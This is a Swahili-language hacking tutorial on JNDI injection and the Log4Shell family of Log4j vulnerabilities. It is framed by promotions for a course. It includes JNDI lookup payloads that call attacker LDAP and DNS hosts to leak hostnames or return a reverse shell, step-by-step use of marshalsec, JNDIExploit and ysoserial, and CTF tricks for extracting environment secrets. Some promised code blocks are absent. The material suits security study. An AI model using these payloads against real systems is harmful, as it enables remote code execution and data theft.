<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa kanuni za mbali unawezekana bila usimamizi wa Meneja wa Usalama.
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu kupata vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha kupakia vitu vya Java visivyoelekezwa au kutumia vipengele vya programu vilivyopo (vifaa) kutekeleza kanuni mbaya.
Licha ya kinga, mapungufu bado yapo, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo.
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("<url inayodhibitiwa na muhusika>")` na hii ndio kitu ambacho muhusika atatumia kudukua kupakia vitu vya aina yoyote kutoka kwa mfumo anaodhibiti.
CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia **Kumbukumbu ya Vitu Inayoweza Kuingiliana (IOR)** kutambua vitu vya mbali kwa kipekee. Kumbukumbu hii inajumuisha habari muhimu kama:
* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<<FAILIZOTE>>", "soma";`) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa.
Kwa RMI (Wito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, kupakua darasa la aina yoyote kwa kawaida kunazuiliwa kwa chaguo-msingi. Kudukua RMI, mtu kwa kawaida atahitaji kuzidi Meneja wa Usalama, kitendo ambacho pia ni muhimu katika CORBA.
Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.\
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kuingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kudhoofisha mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vifaa katika njia ya darasa.
Udhaifu unazidiwa katika Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika fomu `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` linapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kwa kawaida, ufunguo unapewa kiotomatiki kifungu cha `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungu hiki cha msingi hakijatumiki.
Kwa kuwa kuna **: katika ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungu cha msingi na **seva ya LDAP inaulizwa kwa kitu**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza data yoyote** na data ambayo mwandishi ameonyesha.
Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu ya `log4j-core`, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa nambari kwa mbali (RCE)**, ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana ([Sheria 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Sheria 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Ujumbe wa Twitter](https://twitter.com/marcioalm/status/1471740771581652995) unaonyesha njia ya kuzidi. Shida imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.
Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi kutumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha yake, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`.
Udhaifu huu unaathiri **mfumo wa kuingiza Logback**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo uligunduliwa kuwa na udhaifu, na matoleo mapya (1.3.0-alpha11 na 1.2.9) yametolewa kushughulikia shida hiyo.
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` kusahihisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer [hapa](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mchomaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za ujanja kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho la blogi la Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau **ombi la DNS** kwa anwani unayotaja katika mzigo wako. Kwa hivyo, mizigo kama:
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya mazingira ya env**, unajua programu ina udhaifu.
Mashine zinazoendesha kwenye toleo la JDK zaidi ya 6u141, 7u131, au 8u121 zimekingwa dhidi ya vector ya shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Walakini, ni muhimu kutambua kwamba toleo hizi **hazilindwi dhidi ya vector ya shambulio la deserialization**.
Kwa wadukuzi wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kuaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa madhumuni haya. Kinyume chake, kudukua toleo za chini za JDK ni rahisi kwa sababu toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza madarasa yoyote.
Kwa **taarifa zaidi** (_kama mapungufu kwenye vectors vya RMI na CORBA_) **angalia sehemu ya Marejeleo ya Jina la JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linapatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kurejesha mawasiliano kwa seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha anzisha **server ya HTTP** katika saraka inayohifadhi faili ya darasa kwa kutumia: `python3 -m http.server`. Hakikisha **server ya LDAP ya marshalsec** inahusisha server ya HTTP hii.
**Maelezo:** Kudukuzi huu unategemea usanidi wa Java kuruhusu mzigo wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililothibitishwa kwa ajili ya utekelezaji wa msimbo wa kupendelea.
Tafadhali kumbuka kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa kwa [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti kudukua udhaifu huu.
Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza.
Kwa mfano huu unaweza tu kukimbia **seva dhaifu ya wavuti kwa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utapata jinsi ya kuikimbia_). Programu hii dhaifu inalogi kwa kutumia toleo dhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_.
Baada ya kusoma nambari kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.\
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zitakazosaidia **kuzalisha mashambulizi**.
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchimbaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha mlango wa seva za LDAP na HTTP.**
Kwa njia kama ile ya uchimbaji wa awali, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchimba udhaifu huu.\
_Kushambulia hii kwa kutumia kitu cha java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Hata hivyo, kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haichukulii darasa lililoaminika kutekeleza kanuni za kupindukia._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kutengeneza **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP, na seva ya HTTP.\
Chaguo hili ni muhimu sana kushambulia **toleo za Java zilizoandaliwa kuamini darasa maalum na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **uwekaji wa darasa za kuaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza kanuni za kupindukia** (_darasa lililoaminika lililochukuliwa faida na ysoserial lazima litumiwe na programu ya java ya mwathiriwa ili shambulio lifanye kazi_).
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la uharibifu wa deserialization ambalo litapakuliwa na JNDI:
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization binafsi** (iliyozalishwa na wewe au ysoserial).
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kudukua udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
Katika [**makala ya CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezea vizuri jinsi inavyoweza **kufanyika** kutumia baadhi ya vipengele vya **Log4J**.
> Kutoka kwenye toleo la 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Utafutaji kwenye usanidi bado unafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI kwenye usanidi sasa unahitaji kuwezeshwa kwa uwazi.
> Kutoka kwenye toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya utafutaji kwenye usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haufanyi kazi.
Hii inamaanisha kwamba kwa chaguo-msingi huwezi **kutumia shambulizi la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umewezesha.
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), mkaidi alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya kipekee.\
Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) kuna njia tofauti za kupata mazingira ya kipekee, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
Katika CTF, haukuweza kupata **stderr** ya programu ya java kutumia log4J, lakini mifano ya Log4J **hutumwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa linaonyeshwa:
Kwa kumbukumbu tu, unaweza pia kuingiza [**mifano mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha mifano ambayo italogiwa kwa `stdout`. Kwa mfano:
Hii haikuonekana kuwa na manufaa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
Hata hivyo, ni sawa kutumia baadhi ya **mifano ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **kulingana na wakati**.
Mfano wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kwa kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\
Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa regex ililinganishwa** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **timeout** katika CTF hiyo.
Katika [**maandishi haya**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya wakati katika majibu:
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu huenda isiwe sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> Kubadilisha `#` nyingi kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500)
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
